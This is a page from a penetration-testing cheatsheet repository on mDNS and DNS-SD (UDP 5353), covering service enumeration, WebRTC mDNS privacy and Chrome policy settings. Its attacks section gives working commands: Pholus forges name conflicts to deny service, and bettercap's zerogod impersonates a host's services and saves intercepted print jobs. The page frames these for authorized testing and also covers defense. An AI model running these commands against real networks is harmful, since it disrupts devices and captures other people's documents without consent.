repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
5353-udp-multicast-dns-mdns.mdMarkdown182 lines13.1 KiBsource raw download

title: "5353/UDP Multicast DNS (mDNS) and DNS-SD" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/5353-udp-multicast-dns-mdns.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

5353/UDP Multicast DNS (mDNS) and DNS-SD#

Basic Information#

Multicast DNS (mDNS) provides DNS-like name resolution on a local link without a conventional unicast DNS server. It uses UDP/5353 and the multicast addresses 224.0.0.251 (IPv4) and FF02::FB (IPv6). DNS Service Discovery (DNS-SD), commonly carried over mDNS, describes service types and instances using PTR, SRV, TXT, A, and AAAA records.[1][7][8]

PORT     STATE SERVICE
5353/udp open  zeroconf

Key protocol details relevant to an assessment:[7]

DNS-SD service model#

Services use names such as _<service>._tcp.local. or _<service>._udp.local.. Examples include _ipp._tcp.local. (printing), _airplay._tcp.local. (AirPlay), and _adb._tcp.local. (Android Debug Bridge). Query _services._dns-sd._udp.local. to enumerate service types, then resolve instance PTR targets and their SRV/TXT/A/AAAA records.[8]

Network Exploration and Enumeration#

Tip: Some WebRTC implementations replace host IP addresses in ICE candidates with temporary mDNS names. A compatible peer resolves those names during ICE processing. If such a candidate appears in authorized signaling or a capture, test its resolution from the same link, but do not assume that every random .local name is a stable device hostname or is resolvable outside the browser's lifetime and privacy scope.[14]

Attacks#

mDNS name probing interference (DoS / name squatting)#

During the probing phase, a host checks name uniqueness. Responding with forged conflicts can force it to pick new names or fail, delaying or preventing service registration and discovery. This is disruptive active testing and should be confined to an authorized lab or maintenance window.[1][7]

Example using the legacy Python 3 port included in the Pholus repository (confirm the flags against the checked-out revision):[9]

# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Service spoofing and impersonation (MitM)#

In an authorized lab, impersonate advertised DNS-SD services (printers, AirPlay, HTTP, or file shares) to test whether clients authenticate or transmit sensitive content before validating the service. This can:

With bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):[3]

# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:

Spoofing Llmnr Nbt Ns Mdns Dns And Wpad And Relay Attacks

Notes on implementation vulnerabilities#

Browser/WebRTC mDNS considerations#

Modern browsers may obfuscate WebRTC host candidates with random mDNS names. On managed Chrome or Edge endpoints, WebRtcLocalIpsAllowedUrls permits listed origins to receive local IP addresses in ICE candidates instead. This is a per-origin compatibility policy—not a general mDNS switch—and weakens privacy for the allowed origins. The corresponding chrome://flags/#enable-webrtc-hide-local-ips-with-mdns experiment has existed, but flags are version-dependent and should not be used as durable enterprise configuration.[10]

On managed Windows Chrome installations, the policy is stored below HKLM\Software\Policies\Google\Chrome\WebRtcLocalIpsAllowedUrls, with allowlisted origins represented as numbered string values. Edge uses its own vendor policy path. Prefer the browser's policy UI or enterprise management tooling over editing the registry manually, and verify the effective policy after deployment.[10][17]

When that protection is disabled, permitted web applications may receive plain host candidates through ICE signaling. Those IP candidates are not “captured via mDNS”; they replace the obfuscated mDNS names in the WebRTC candidate data.[10]

Defensive considerations and OPSEC#

Tooling quick reference#

References#